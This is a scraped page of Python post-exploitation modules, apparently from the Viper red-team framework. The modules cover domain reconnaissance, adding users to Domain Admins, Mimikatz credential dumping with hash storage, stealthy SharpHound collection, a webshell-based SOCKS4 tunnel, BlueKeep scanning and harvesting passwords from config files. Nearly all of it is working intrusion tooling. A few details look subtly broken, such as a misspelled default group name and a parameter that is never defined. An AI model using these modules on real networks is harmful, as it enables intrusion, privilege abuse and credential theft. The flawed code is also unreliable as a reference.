class PostModule(PostMSFPowershellFunctionModule):
    NAME = "域用户组中的用户信息"
    DESC = "模块获取主机所在域某个用户组中的用户信息,如果主机不在域中,脚本可能报错"
    MODULETYPE = TAG2CH.Discovery
    AUTHOR = "Viper"
    OPTIONS = register_options([
        Option(
            name='GroupName',
            name_tag="用户组",
            type='str',
            required=True,
            default='Domain Adminis',
            desc="用户组名称",
        ),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("PowerView.ps1")  # 设置目标机执行的脚本文件

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)
        if session.is_in_domain is not True:
            return False, "模块只支持Windows的Meterpreter,且必须在域中"
        groupName = self.param('GroupName')
        execute_string = "Get-NetGroupMember -GroupName {}".format(groupName)
        self.set_execute_string(execute_string)
        return True, None

    def callback(self, flag, output):
        # 调用父类函数存储结果(必须调用)
        self.store_log(output)
Exemple #2
0
class PostModule(PostMSFPowershellFunctionModule):
    NAME = "域主机的进程信息"
    DESC = "模块收集域主机的进程信息,可以输入域内主机名来查看远程主机的进程信息(远程查看需要对应主机开启远程相关权限)"
    MODULETYPE = TAG2CH.Discovery
    AUTHOR = "Viper"
    OPTIONS = register_options([
        Option(name='ComputerName', name_tag="主机名", type='str', required=False,
               desc="需要查询的主机名", ),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("PowerView.ps1")  # 设置目标机执行的脚本文件
        self.set_execute_string('Get-NetProcess')

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)
        if session.is_windows is not True:
            return False, "模块只支持Windows的Meterpreter"
        computerName = self.param('ComputerName')
        if computerName is None:
            execute_string = "Get-NetProcess"
        else:
            if session.is_in_domain:
                execute_string = "Get-NetProcess -ComputerName {}".format(computerName)
            else:
                return False, "模块只支持Windows的Meterpreter,且必须在域中"
        self.set_execute_string(execute_string)
        return True, None

    def callback(self, flag, output):
        # 调用父类函数存储结果(必须调用)
        self.store_log(output)
class PostModule(PostMSFPowershellFunctionModule):
    NAME = "添加用户到主机"
    DESC = "添加一个用户到主机,账户权限与session权限相同.\n" \
           "当填写'主机名'参数时,模块会自动忽略'用户组(域)''域名称(域)'参数.向域中添加用户时'用户组(域)''域名称(域)'参数必须同时填写"
    MODULETYPE = TAG2CH.internal
    AUTHOR = "Viper"
    OPTIONS = register_options([
        Option(name='UserName', name_tag="用户名", type='str', required=True, desc="添加的用户名,请注意不要填写已存在用户", ),
        Option(name='Password', name_tag="密码", type='str', required=True, desc="添加用户的密码,请注意复杂度要求", ),
        Option(name='ComputerName', name_tag="主机名", type='str', required=False,
               desc="主机名称,用户会添加到主机的Administrators组中", ),
        Option(name='GroupName', name_tag="用户组(域)", type='str', required=False,
               desc="添加用户到域用户组中(Domain Admins为域管理员组,Domain Users为域用户组", ),
        Option(name='Domain', name_tag="域名称(域)", type='str', required=False, desc="添加用户到输入的域中", ),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("PowerView.ps1")  # 设置目标机执行的脚本文件
        self.set_execute_string('Add-NetUser')

    def check(self):
        """执行前的检查函数,函数必须返回值"""
        username = self.param('UserName')
        password = self.param('Password')
        computername = self.param('ComputerName')
        groupname = self.param('GroupName')
        domain = self.param('Domain')

        from PostModule.lib.Session import Session
        session = Session(self._sessionid)
        if session.is_windows is not True:
            return False, "模块只支持Windows的Meterpreter"

        if computername is not None:
            execute_string = "Add-NetUser -UserName {} -Password {} -ComputerName {}".format(username,
                                                                                             password,
                                                                                             computername)
        elif groupname is not None and domain is not None:
            if session.is_in_domain:
                execute_string = "Add-NetUser -UserName {} -Password {} -GroupName {} -Domain {}".format(
                    username,
                    password,
                    groupname,
                    domain)
            else:
                return False, "模块只支持Windows的Meterpreter,且必须在域中"
        else:
            execute_string = "Add-NetUser -UserName {} -Password {}".format(username, password)
        self.set_execute_string(execute_string)
        return True, None

    def callback(self, flag, output):
        # 调用父类函数存储结果(必须调用)
        self.store_log(output)
Exemple #4
0
class PostModule(PostMSFRawModule):
    NAME = "搜索主机文档类文件"
    DESC = "搜索并获取主机中所有后缀为doc,docx,ppt,pst,pdf,pptx,xls,xlsx文件路径.\n" \
           "(针对C盘模块只搜索用户桌面路径,其他盘符全盘搜索)"
    MODULETYPE = TAG2CH.Discovery
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = [
        "User",
        "Administrator",
        "SYSTEM",
    ]  # 所需权限
    ATTCK = ["T1083"]  # ATTCK向量
    REFERENCES = ["https://attack.mitre.org/techniques/T1083/"]
    AUTHOR = "Viper"

    REQUIRE_SESSION = True
    OPTIONS = register_options([])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.type = "post"
        self.mname = "multi/gather/locate_useful_documents"

    def check(self):
        """执行前的检查函数"""
        from PostModule.lib.Session import Session
        session = Session(self._sessionid)
        if session.is_windows:
            return True, None
        else:
            return False, "当前Session不可用"

    def callback(self, status, message, data):
        if status:
            self.log_status("模块执行完成")
            for filepath in data:
                filepath = filepath.replace("\\\\\\\\", "/").replace(
                    "\\\\", "/").replace("\\", "/")
                self.log_raw(filepath)
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
class PostModule(PostPythonModule):
    NAME = "获取Session所在域全景图"
    DESC = "模块用于获取Session所在域的全景信息(用户,主机,组),模块所需Session必须在域中.\n" \
           "请注意,模块运行时间与域的大小正相关"
    REQUIRE_SESSION = True
    MODULETYPE = TAG2CH.Discovery
    OPTIONS = register_options([
        Option(name='Threads',
               name_tag="扫描线程数",
               type='integer',
               required=True,
               desc="模块的扫描线程数(1-20)",
               default=10),
        Option(name='Domain',
               name_tag="域名称",
               type='str',
               required=False,
               desc="需要收集信息的域,如果为空则收集Session所在域",
               default=None),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)

    def deal_zipfile(self, zippath):
        azip = zipfile.ZipFile(zippath)
        zipinfo_jsonlist = azip.namelist()
        for onejson in zipinfo_jsonlist:
            strjson = azip.read(onejson).decode('utf-8')
            if strjson.startswith(u'\ufeff'):  # 去除BOM头
                strjson = strjson.encode('utf8')[3:].decode('utf8')
            pyobject = json.loads(strjson)
            print(pyobject.get('meta'))
        pass

    def check(self):
        """执行前的检查函数"""

        self.session = Session(self._sessionid, uacinfo=True)
        if self.session.is_in_domain:
            pass
        else:
            return False, "选择的Session不在域中,请重新选择Session"

        # 检查权限
        if self.session.is_in_admin_group is not True:
            return False, "当前Session用户不在本地管理员组中,无法执行模块"
        threads = self.param('Threads')
        if 1 <= threads <= 20:
            pass
        else:
            return False, "扫描线程设置错误,请重新设置"
        self.clean_log()
        return True, None

    def run(self):
        # 设置参数
        opts = {}
        opts['LPATH'] = 'SharpHound.exe'
        opts['SESSION'] = self._sessionid
        opts['ARGS'] = ""
        if self.param('Domain') is None:
            domain_string = ""
        else:
            domain_string = "--Domain {}".format(self.param('Domain'))
        threads_string = "--Threads {}".format(self.param('Threads'))
        filename = "testteam{}.zip".format(int(time.time()))
        result_filepath = "{}/{}".format("C:/Program Files/Internet Explorer",
                                         filename)
        execute_string = " --CollectionMethod LoggedOn,All --Stealth --NoSaveCache --ZipFileName {} {} {}".format(
            result_filepath, domain_string, threads_string)
        opts['ARGS'] = execute_string
        self.log_status("信息收集阶段,执行中...")
        result = MsfModule.run_with_output(
            type='post',
            mname='multi/manage/upload_and_exec',
            opts=opts,
            _timeout=360)
        if result.find('Finished compressing files!') > 0:
            self.log_status("下载结果文件,执行中...")
            # filedata = self.session.download_file(result_filepath)
            self.log_good("下载文件完成,文件名: {}".format(filename))
        else:
            self.log_error("生成结果文件失败,退出执行.")
        # 调用父类函数存储结果(必须调用)
        self.log_status("执行完成")
class PostModule(PostPythonModule):
    NAME = "基于Webshell的Socks4代理"
    DESC = "将Webshell及stinger_server(.exe)上传到已控制的网站并执行stinger_server(.exe)\n" \
           "(60010端口监听表示启动成功)\n" \
           "然后运行此模块即可启动基于Web服务器所在内网的Socks4服务.\n" \
           "webshell及stinger_server(.exe)在<数据管理-文件-stinger.zip>"

    MODULETYPE = TAG2CH.Command_and_Control
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = ["User", "Administrator", "SYSTEM", "Root"]  # 所需权限
    ATTCK = ["T1026"]  # ATTCK向量
    REFERENCES = ["https://github.com/FunnyWolf/pystinger_for_darkshadow"]
    AUTHOR = "Viper"

    OPTIONS = register_options([
        Option(
            name='webshell',
            name_tag="Webshell地址",
            type='str',
            required=True,
            desc="负责转发请求的Webshell地址",
            option_length=24,
        ),
        Option(
            name="listenip",
            name_tag="监听IP",
            type="enum",
            required=True,
            default="127.0.0.1",
            desc="本地启动Socks5服务的IP地址",
            enum_list=[
                {
                    'name': "127.0.0.1",
                    'value': "127.0.0.1"
                },
                {
                    'name': "0.0.0.0",
                    'value': "0.0.0.0"
                },
            ],
        ),
        Option(
            name="listenport",
            name_tag="监听端口",
            type="integer",
            required=True,
            desc="本地本地启动Socks5服务的端口",
        ),

        # 配置参数
        Option(
            name="READ_BUFF_SIZE",
            name_tag="READ_BUFF_SIZE",
            type="integer",
            required=True,
            default=51200,
            desc="TCP读取BUFF大小(10240-51200,IIS4建议为10240)",
        ),
        Option(
            name="SOCKET_TIMEOUT",
            name_tag="SOCKET_TIMEOUT",
            type="float",
            required=True,
            default=0.01,
            desc="TCP连接超时时间(0.01-1)",
        ),
        Option(
            name="SLEEP_TIME",
            name_tag="SLEEP_TIME",
            type="float",
            required=True,
            default=0.1,
            desc="连接Webshell的时间间隔(0.01-1)",
        ),
        Option(
            name="SINGLE_MODE",
            name_tag="SINGLE_MODE",
            type="bool",
            required=False,
            default=False,
            desc="单客户端模式,控制服务器只处理当前客户端的Socks连接",
        ),
        Option(
            name="CLEAN_SOCKET",
            name_tag="CLEAN_SOCKET",
            type="bool",
            required=False,
            default=False,
            desc="启动前清理Server端的所有socket连接",
        ),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.session = None

    def check(self):
        """执行前的检查函数"""
        global globalClientCenter
        globalClientCenter = ClientCenter()

        # 检测本地监听是否可用
        LISTEN_ADDR = self.param('listenip')
        LISTEN_PORT = self.param('listenport')
        flag = globalClientCenter.setc_localaddr(LISTEN_ADDR, LISTEN_PORT)
        if flag:
            pass
        else:
            return False, "本地监听启动检测失败,请检查端口是否占用"
        if LISTEN_ADDR == "0.0.0.0":
            flag, lportsstr = is_empty_port(LISTEN_PORT)
            if flag is not True:
                return False, f"端口: {LISTEN_PORT} 已被占用"
        if 1 > LISTEN_PORT or LISTEN_PORT > 65535:
            return False, f"输入的端口超过正常范围."
        # 检测webshell是否可用
        WEBSHELL = self.param('webshell')
        webshell_alive = globalClientCenter.setc_webshell(WEBSHELL)
        if webshell_alive:
            pass
        else:
            return False, f"WEBSHELL不可用 : {WEBSHELL}"

        # 检测服务端是否启动
        result = globalClientCenter.setc_remoteserver()
        if result is None:
            return False, f"读取REMOTE_SERVER失败,请确认服务端是否启动"
        else:
            pass

        # 设置服务端及客户端参数
        # 设置READ_BUFF_SIZE
        READ_BUFF_SIZE = self.param('READ_BUFF_SIZE')
        if READ_BUFF_SIZE is None or 10240 > READ_BUFF_SIZE or 51200 < READ_BUFF_SIZE:
            READ_BUFF_SIZE = 51200
        flag = globalClientCenter.sets_config("READ_BUFF_SIZE", READ_BUFF_SIZE)
        if flag is not True:
            return False, f"设置服务端READ_BUFF_SIZE失败"
        else:
            globalClientCenter.READ_BUFF_SIZE = READ_BUFF_SIZE

        # 设置SOCKET_TIMEOUT
        SOCKET_TIMEOUT = self.param('SOCKET_TIMEOUT')
        if SOCKET_TIMEOUT is None or 0.01 > SOCKET_TIMEOUT or 1 < SOCKET_TIMEOUT:
            SOCKET_TIMEOUT = 0.01
        flag = globalClientCenter.sets_config("SOCKET_TIMEOUT", SOCKET_TIMEOUT)
        if flag is not True:
            return False, f"设置服务端SOCKET_TIMEOUT失败"
        else:
            globalClientCenter.SOCKET_TIMEOUT = SOCKET_TIMEOUT

        # 设置CLEAN_SOCKET
        CLEAN_SOCKET = self.param('CLEAN_SOCKET')
        if CLEAN_SOCKET:
            flag = globalClientCenter.send_cmd("CLEAN_SOCKET")

        # 设置SLEEP_TIME
        SLEEP_TIME = self.param('SLEEP_TIME')
        if SLEEP_TIME is None or 0.01 > SLEEP_TIME or 1 < SLEEP_TIME:
            SLEEP_TIME = 0.1
        globalClientCenter.SLEEP_TIME = SLEEP_TIME
        # 设置SINGLE_MODE
        SINGLE_MODE = self.param('SINGLE_MODE')
        globalClientCenter.SINGLE_MODE = SINGLE_MODE
        return True, None

    def run(self):

        global globalClientCenter

        SOCKET_TIMEOUT = self.param('SOCKET_TIMEOUT')
        if SOCKET_TIMEOUT is None or 0.01 > SOCKET_TIMEOUT or 1 < SOCKET_TIMEOUT:
            SOCKET_TIMEOUT = 0.01

        result = globalClientCenter.gets_config()
        if result is None:
            self.log_error("读取服务端配置失败,请确认服务端是否启动")
            return
        else:
            self.log_good("--- 服务端配置信息 ---")
            for key in result:
                self.log_good(f"{key} => {result.get(key)}")

        globalClientCenter.setDaemon(True)

        t2 = Socks4aProxy(host=self.param('listenip'),
                          port=self.param('listenport'),
                          timeout=SOCKET_TIMEOUT,
                          bufsize=BUFSIZE)
        t2.setDaemon(True)

        globalClientCenter.start()
        t2.start()

        self.log_good("启动本地服务完成,开启循环模式")
        self.store_result_in_result_history()
        self.clean_log()

        while self.exit_flag is not True:
            try:
                time.sleep(1)
            except Exception as E:
                break
        globalClientCenter.loopJob = False
        t2.loopJob = False
Exemple #7
0
class PostModule(PostMSFRawModule):
    NAME = "原始msf模块样例"
    DESC = "这是一个原始msf模块的样例,执行的是multi/gather/session_info模块"
    REQUIRE_SESSION = True
    MODULETYPE = TAG2CH.example
    OPTIONS = register_options([
        Option(
            name='StrTest',
            name_tag="字符串测试",
            type='str',
            required=False,
            desc="测试一个字符串参数",
        ),
        Option(name='BoolTest',
               name_tag="Bool测试",
               type='bool',
               required=False,
               desc="测试一个Bool参数",
               default=False),
        Option(name='IntgerTest',
               name_tag="Intger测试",
               type='integer',
               required=False,
               desc="测试一个Intger参数"),
        Option(name='EnumTest',
               name_tag="Enum测试",
               type='enum',
               required=False,
               desc="测试一个enum参数",
               default='test1',
               enum_list=['test1', 'test2', 'test3']),
        Option(name=HANDLER_OPTION.get('name'),
               name_tag=HANDLER_OPTION.get('name_tag'),
               type=HANDLER_OPTION.get('type'),
               required=False,
               desc=HANDLER_OPTION.get('desc'),
               enum_list=[],
               option_length=HANDLER_OPTION.get('option_length')),
        Option(name=CREDENTIAL_OPTION.get('name'),
               name_tag=CREDENTIAL_OPTION.get('name_tag'),
               type=CREDENTIAL_OPTION.get('type'),
               required=False,
               desc=CREDENTIAL_OPTION.get('desc'),
               enum_list=[],
               option_length=CREDENTIAL_OPTION.get('option_length'),
               extra_data={'password_type': ['windows', 'browsers']}),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.type = "post"
        self.mname = "multi/gather/session_info"
        self.runasjob = True

    def check(self):
        """执行前的检查函数"""
        return True, None

    def callback(self, status, message, data):
        print(status)
        print(message)
        print(data)
Exemple #8
0
class PostModule(PostMSFPowershellFunctionModule):
    NAME = "获取域内主机正在登录的用户"
    DESC = "模块收集域内某主机正在登录的用户信息,当主机名为空时默认收集本机正在登录用户信息.\n" \
           "当选择收集域内所有主机正在登录的用户信息时,当域内主机较多时模块可能运行超时\n" \
           "(此模块运行不稳定)"
    MODULETYPE = TAG2CH.Discovery
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = [
        "Administrator",
        "SYSTEM",
    ]  # 所需权限
    ATTCK = ["T1033"]  # ATTCK向量
    REFERENCES = ["https://attack.mitre.org/techniques/T1033/"]
    AUTHOR = "Viper"

    OPTIONS = register_options([
        Option(
            name='ComputerName',
            name_tag="主机名",
            type='str',
            required=False,
            desc="需要查询的主机名",
        ),
        Option(name='ALL',
               name_tag="域内所有主机",
               type='bool',
               required=False,
               desc="收集域内所有主机正在登录用户信息",
               default=False),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("PowerView_dev.ps1")  # 设置目标机执行的脚本文件

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)

        if session.is_windows is not True:
            return False, "此模块只支持Windows的Meterpreter"

        computerName = self.param('ComputerName')
        if computerName is not None:
            if session.is_in_domain:
                execute_string = "Get-NetLoggedon -ComputerName {} | ConvertTo-JSON -maxDepth 2".format(
                    computerName)
            else:
                return False, "当填写'主机名'时Session必须在域中"
        elif self.param('Range'):
            if session.is_in_domain:
                execute_string = 'Get-DomainComputer | Get-NetLoggedon | ConvertTo-JSON -maxDepth 2'
            else:
                return False, "Session必须在域中"
        else:
            execute_string = 'Get-NetLoggedon | ConvertTo-JSON -maxDepth 2'

        self.set_execute_string(execute_string)
        return True, None

    def callback(self, status, message, data):
        if status:
            powershell_json_output = self.deal_powershell_json_result(data)
            if powershell_json_output is not None:
                if isinstance(powershell_json_output, list):
                    try:
                        for one in powershell_json_output:
                            if one.get('UserName').endswith('$'):
                                continue
                            outputstr = "用户:{} 主机名:{} 登录域:{} 登录服务器:{} 认证域:{}".format(
                                one.get('UserName'),
                                one.get('ComputerName'),
                                one.get('LogonDomain'),
                                one.get('LogonServer'),
                                one.get('AuthDomains'),
                            )
                            self.log_good(outputstr)
                    except Exception as E:
                        pass
                elif isinstance(powershell_json_output, dict):
                    one = powershell_json_output
                    if one.get('UserName').endswith('$'):
                        return
                    outputstr = "用户:{} 主机名:{} 登录域:{} 登录服务器:{} 认证域:{}".format(
                        one.get('UserName'),
                        one.get('ComputerName'),
                        one.get('LogonDomain'),
                        one.get('LogonServer'),
                        one.get('AuthDomains'),
                    )
                    self.log_good(outputstr)
                else:
                    self.log_error("脚本无有效输出")
                    self.log_error(powershell_json_output)

            else:
                self.log_error("脚本无有效输出")
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
Exemple #9
0
class PostModule(PostMSFPowershellFunctionModule):
    NAME = "域主机的内存密码信息"
    DESC = "模块收集主机所在域中某个域主机内存中的密码信息.如果没有填写主机名,则抓取本机内存中的密码信息\n" \
           "(需要SYSTEM权限或已通过UAC的Administrator权限,模块执行耗时较长)"
    MODULETYPE = TAG2CH.Credential_Access
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = ["Administrator", "SYSTEM", ]  # 所需权限
    ATTCK = ["T1003"]  # ATTCK向量
    REFERENCES = ["https://attack.mitre.org/techniques/T1003/"]
    AUTHOR = "Viper"

    OPTIONS = register_options([
        Option(name='ComputerName', name_tag="域主机名", type='str', required=False,
               desc="填写域中某个主机的名称,可通过<收集所有域主机的信息>获取域主机列表", ),
        Option(name='MimikatzCommand', name_tag="Mimikatz命令", type='str', required=True,
               default='privilege::debug sekurlsa::logonPasswords exit',
               desc="抓取密码的Mimikatz命令,建议保持默认值", ),
        Option(name='LargeOutPut', name_tag="缓存结果到文件", type='bool', required=True, desc="如果抓取密码不全或预计脚本有大量输出,请选择此项",
               default=False),

    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("Invoke-Mimikatz.ps1")  # 设置目标机执行的脚本文件

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)
        if session.is_windows is not True:
            return False, "模块只支持Windows的Meterpreter"
        if session.is_admin is not True:
            return False, "模块需要管理员权限,请尝试提权"

        computerName = self.param('ComputerName')
        mimikatzCommand = self.param('MimikatzCommand')
        largeOutPut = self.param('LargeOutPut')
        self.set_largeoutput(largeOutPut)

        if mimikatzCommand is None:
            mimikatzCommand = 'privilege::debug sekurlsa::logonPasswords exit'

        if computerName is None:
            execute_string = "Invoke-Mimikatz -Command '{}'".format(mimikatzCommand)
        else:
            if session.is_in_domain is not True:
                return False, "如果需要抓取域内远程主机的密码信息,Session必须在域中"
            execute_string = "Invoke-Mimikatz -Command '{}' -ComputerName {}".format(mimikatzCommand,
                                                                                     computerName)
        self.set_execute_string(execute_string)

        return True, None

    @staticmethod
    def search(pattern, data, control):
        patterns = {
            'username': '******',
            'isusername': '******',
            'password': '******',
            'ispassword': '******',
            'domain': '\s+\*\s+Domain\s+:\s+',
            'isdomain': '\(null\)\s*$',
            'LM': '\s+\*\s+LM\s+:\s+',
            'isLM': '\(null\)\s*$',
            'NTLM': '\s+\*\s+NTLM\s+:\s+',
            'isNTLM': '\(null\)\s*$',
            'SHA1': '\s+\*\s+SHA1\s+:\s+',
            'isSHA1': '\(null\)\s*$',
        }
        if (re.search(r'{}'.format(patterns[pattern]), data) and not re.search(r'{}'.format(patterns[control]), data)):
            result = re.sub(r'{}'.format(patterns[pattern]), '', data).rstrip()
            if len(
                    result) > 255:  # b4 47 c4 d3 03 5b 58 8a 6e 9d f4 异常处理
                return False
            else:
                return result
        else:
            return False

    def format_dict(self, tmpdict):
        computerName = self.param('ComputerName')
        if computerName is None:
            host_ipaddress = Host.get_ipaddress(self._hid)
        else:
            host_ipaddress = computerName

        if tmpdict.get('Password') is not None:
            result_str = "用户名:{} 域:{} 密码:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'),
                                                    tmpdict.get('Password'))
            self.log_good(result_str)
            tag = {'domain': tmpdict.get('Domain'), 'type': 'Password'}
            Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('Password'),
                                      password_type='windows', tag=tag,
                                      source_module=self.NAME, host_ipaddress=host_ipaddress,
                                      desc='')

        if tmpdict.get('LM') is not None:
            result_str = "用户名:{} 域:{} LM:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'),
                                                    tmpdict.get('LM'))
            self.log_good(result_str)
            tag = {'domain': tmpdict.get('Domain'), 'type': 'LM'}
            Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('LM'),
                                      password_type='windows', tag=tag,
                                      source_module=self.NAME, host_ipaddress=host_ipaddress,
                                      desc='')

        if tmpdict.get('NTLM') is not None:
            result_str = "用户名:{} 域:{} NTLM:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'),
                                                      tmpdict.get('NTLM'))
            self.log_good(result_str)
            tag = {'domain': tmpdict.get('Domain'), 'type': 'NTLM'}
            Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('NTLM'),
                                      password_type='windows', tag=tag,
                                      source_module=self.NAME, host_ipaddress=host_ipaddress,
                                      desc='')

        if tmpdict.get('SHA1') is not None:
            result_str = "用户名:{} 域:{} SHA1:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'),
                                                      tmpdict.get('SHA1'))
            self.log_good(result_str)
            tag = {'domain': tmpdict.get('Domain'), 'type': 'SHA1'}
            Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('SHA1'),
                                      password_type='windows', tag=tag,
                                      source_module=self.NAME, host_ipaddress=host_ipaddress,
                                      desc='')

    def callback(self, status, message, data):

        if status:
            output = data.replace('\x00', '')
            self.log_status("获取密码列表")
            tmpdict = {'Username': None, 'Domain': None, 'Password': None, 'LM': None, 'NTLM': None, 'SHA1': None}
            for line in output.split('\n'):
                username = self.search('username', line, 'isusername')
                if username:
                    if tmpdict.get('Username') is not None:
                        self.format_dict(tmpdict)
                        tmpdict = {'Username': username, 'Domain': None, 'Password': None, 'LM': None, 'NTLM': None,
                                   'SHA1': None}
                    else:
                        tmpdict['Username'] = username
                domain = self.search('domain', line, 'isdomain')
                if domain:
                    tmpdict['Domain'] = domain
                password = self.search('password', line, 'ispassword')
                if password:
                    tmpdict['Password'] = password

                LM = self.search('LM', line, 'isLM')
                if LM:
                    tmpdict['LM'] = LM
                NTLM = self.search('NTLM', line, 'isNTLM')
                if NTLM:
                    tmpdict['NTLM'] = NTLM
                SHA1 = self.search('SHA1', line, 'isSHA1')
                if SHA1:
                    tmpdict['SHA1'] = SHA1
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
class PostModule(PostMSFRawModule):
    NAME = "CVE-2019-0708 扫描"
    DESC = "模块使用验证代码扫描目标主机的3389端口,根据目标回复包判断对方是否修复了CVE-2019-0708漏洞.\n" \
           "验证模块可以用于内网扫描及外网扫描,验证代码不会导致目标蓝屏."

    REQUIRE_SESSION = False
    MODULETYPE = TAG2CH.Lateral_Movement
    OPTIONS = register_options([
        Option(name='startip', name_tag="起始IP", type='str', required=False, desc="扫描的起始IP", ),
        Option(name='stopip', name_tag="结束IP", type='str', required=False, desc="扫描的结束IP", ),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.type = "auxiliary"
        self.mname = "scanner/rdp/cve_2019_0708_bluekeep_api"

    def check(self):
        """执行前的检查函数"""
        self.set_option(key='ShowProgress', value=False)

        # 设置RHOSTS参数
        startip = self.param('startip')
        stopip = self.param('stopip')
        if startip is None and stopip is None:
            self.set_option(key='RHOSTS', value=self.host_ipaddress)
        else:
            try:
                ipnum = self.dqtoi(stopip) - self.dqtoi(startip)
                if ipnum > 25 + 6:
                    return False, "扫描IP范围过大(超过256),请缩小范围"
                elif ipnum < 0:
                    return False, "输入的起始IP与结束IP有误,请重新输入"
                self.set_option('RHOSTS', "{}-{}".format(startip, stopip))
            except Exception as E:
                return False, "输入的IP格式有误,请重新输入"

        return True, None

    def callback(self, status, message, data):

        if status:
            for human_result in data:
                ipaddress = human_result.get('host')
                if human_result.get("result") == "VULNERABLE":
                    self.log_good("{} 存在CVE-2019-0708漏洞".format(ipaddress))
                    Vulnerability.add_vulnerability(hid_or_ipaddress=ipaddress,
                                                    source_module_loadpath=self.loadpath,
                                                    extra_data={},
                                                    desc=None)
                elif human_result.get("result") == "UNVULNERABLE":
                    self.log_error("{} 不存在漏洞".format(ipaddress))
                elif human_result.get("result") == "UNREACHABLE":
                    self.log_error("{} 无法访问".format(ipaddress))
                elif human_result.get("result") == "UNDETECT":
                    self.log_error("{} 检测失败".format(ipaddress))
                else:
                    pass
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
Exemple #11
0
class PostModule(PostMSFRawModule):
    NAME = "收集主机配置文件中的敏感信息"
    DESC = "模块在主机中搜索包含敏感信息的配置文件(my.ini,tomcat-users.xml等),\n" \
           "通过预定义的正则表达式匹配敏感信息(密码,hash等)."
    REQUIRE_SESSION = True
    MODULETYPE = TAG2CH.Credential_Access
    OPTIONS = register_options([])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.type = "post"
        self.mname = "multi/gather/conf_infos"
        self.runasjob = False
        self.re_conf = {
            'mysql': {
                'my.ini': ['^\s*password\s*=']
            },
            'tomcat': {
                'tomcat-users.xml': ['password\s*=']
            }
        }

    def check(self):
        """执行前的检查函数"""
        from PostModule.lib.Session import Session
        session = Session(self._sessionid)
        if session.is_alive:

            return True, None
        else:
            return False, "当前Session不可用"

    def callback(self, status, message, data):
        if status:
            for one in data:
                # [{"path":"c:\\xampp\\mysql\\bin","name":"my.ini","size":5762,"localpath":"1557900758_my.ini"}]
                conf_files = one.get('files')
                # {"path":"c:\\xampp\\mysql\\bin","name":"my.ini","size":5762,"localpath":"1557900758_my.ini"}
                for conf_file in conf_files:
                    self.log_good("发现敏感文件")
                    self.log_status("主机文件路径: {} 文件名: {}".format(
                        conf_file.get('path'), conf_file.get('name')))
                    self.log_status("下载到本地文件名: {}".format(
                        conf_file.get('localpath')))
                    self.log_raw('\n')
                    filedata = MsfFile.cat_file(conf_file.get('localpath'))

                    if filedata is None:
                        self.log_error("{} 文件不存在".format(
                            conf_file.get('localpath')))
                        return

                    filedata = filedata.decode('utf-8', 'ignore')
                    for line in filedata.split('\n'):
                        res = self.re_conf.get(one.get('name')).get(
                            one.get('configfile'))
                        for one_re in res:
                            if re.search(one_re, line):
                                self.log_good("发现敏感信息")
                                self.log_status("主机文件路径: {} 文件名: {}".format(
                                    conf_file.get('path'),
                                    conf_file.get('name')))
                                self.log_status("下载到本地文件名: {}".format(
                                    conf_file.get('localpath')))
                                self.log_status("敏感信息: {}".format(line))
                                self.log_raw('\n')
            self.log_status("模块执行完成")
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
class PostModule(PostMSFPowershellFunctionModule):
    NAME = "定位域管理员登录主机"
    DESC = "模块通过遍历域内所有主机,查找域管理员正在登录的主机,指导下一步攻击目标.\n" \
           "(如果模块无结果,可尝试缩小threads再次执行,模块不稳定)"
    MODULETYPE = TAG2CH.Discovery
    AUTHOR = "Viper"
    OPTIONS = register_options([
        Option(name='threads',
               name_tag="扫描线程数",
               type='integer',
               required=True,
               desc="扫描的最大线程数(1-20)",
               default=5),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_script("PowerView_dev.ps1")  # 设置目标机执行的脚本文件

    def check(self):
        """执行前的检查函数"""

        session = Session(self._sessionid)
        if session.is_in_domain is not True:
            return False, "模块只支持Windows的Meterpreter,且Session所属用户必须在域中"
        if session.is_admin is not True:
            return False, "Session权限不足,请选择管理员权限Session"
        if session.domain is None:
            return False, "无法获取Session所在域"

        threads = self.param('threads')
        if 1 <= threads <= 20:
            pass
        else:
            return False, "扫描线程参数不正确,请重新设置"

        # 设置参数
        execute_string = "Find-DomainUserLocation -Domain {} -Threads {} -StopOnSuccess| ConvertTo-JSON -maxDepth 2".format(
            session.domain, threads)
        self.set_execute_string(execute_string)
        return True, None

    def callback(self, status, message, data):
        if status:
            powershell_json_output = self.deal_powershell_json_result(data)
            if powershell_json_output is not None:
                if isinstance(powershell_json_output, list):
                    try:
                        for one in powershell_json_output:
